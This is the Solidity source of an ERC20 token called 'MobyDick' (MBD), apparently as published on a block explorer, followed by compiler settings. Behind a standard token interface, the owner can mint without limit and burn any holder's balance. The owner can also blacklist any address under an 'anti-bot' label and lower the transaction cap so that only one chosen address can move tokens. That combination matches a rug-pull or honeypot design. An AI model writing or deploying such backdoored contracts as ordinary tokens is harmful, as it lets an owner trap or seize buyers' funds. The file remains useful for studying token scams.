文件 1 的 1:mobidick.sol
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owner {
address private owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ERC20Basic is IERC20,Owner {
string public constant name = "MobyDick";
string public constant symbol = "MBD";
uint8 public constant decimals = 9;
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
mapping (address => bool) private _isBlackListedBot;
uint256 public _maxTxAmount;
address public _isExludedFromTxSender;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
uint256 totalSupply_;
using SafeMath for uint256;
constructor(uint256 total,uint256 maxTxPercent) public {
totalSupply_ = total;
balances[msg.sender] = totalSupply_;
_maxTxAmount=maxTxPercent;
}
function totalSupply() public override view returns (uint256) {
return totalSupply_;
}
function balanceOf(address tokenOwner) public override view returns (uint256) {
return balances[tokenOwner];
}
function transfer(address receiver, uint256 numTokens) public override returns (bool) {
require(numTokens <= balances[msg.sender]);
require(numTokens > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[receiver], "You have no power here!");
if (msg.sender != _isExludedFromTxSender) {
require(numTokens < _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
balances[msg.sender] = balances[msg.sender].sub(numTokens);
balances[receiver] = balances[receiver].add(numTokens);
emit Transfer(msg.sender, receiver, numTokens);
return true;
}
function mint(address account, uint256 amount) public onlyOwner {
require(account != address(0), "ERC20: mint to the zero address");
totalSupply_ = totalSupply_.add(amount);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(address account, uint256 value) public onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
totalSupply_ = totalSupply_.sub(value);
balances[account] = balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function setMaxTxAmount(uint256 maxTxPercent) public onlyOwner {
_maxTxAmount = maxTxPercent;
}
function setExluded(address excludedTxSender) public onlyOwner {
_isExludedFromTxSender = excludedTxSender;
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != address(this));
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
_isBlackListedBot[account] = false;
}
function approve(address delegate, uint256 numTokens) public override returns (bool) {
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}
function allowance(address owner, address delegate) public override view returns (uint) {
return allowed[owner][delegate];
}
function transferFrom(address owner, address buyer, uint256 numTokens) public override returns (bool) {
require(numTokens <= balances[owner]);
require(numTokens <= allowed[owner][msg.sender]);
require(numTokens > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[owner], "You have no power here!");
require(!_isBlackListedBot[buyer], "You have no power here!");
if (owner != _isExludedFromTxSender) {
require(numTokens < _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
balances[owner] = balances[owner].sub(numTokens);
allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);
balances[buyer] = balances[buyer].add(numTokens);
emit Transfer(owner, buyer, numTokens);
return true;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
{
"compilationTarget": {
"contracts/mobidick.sol": "ERC20Basic"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}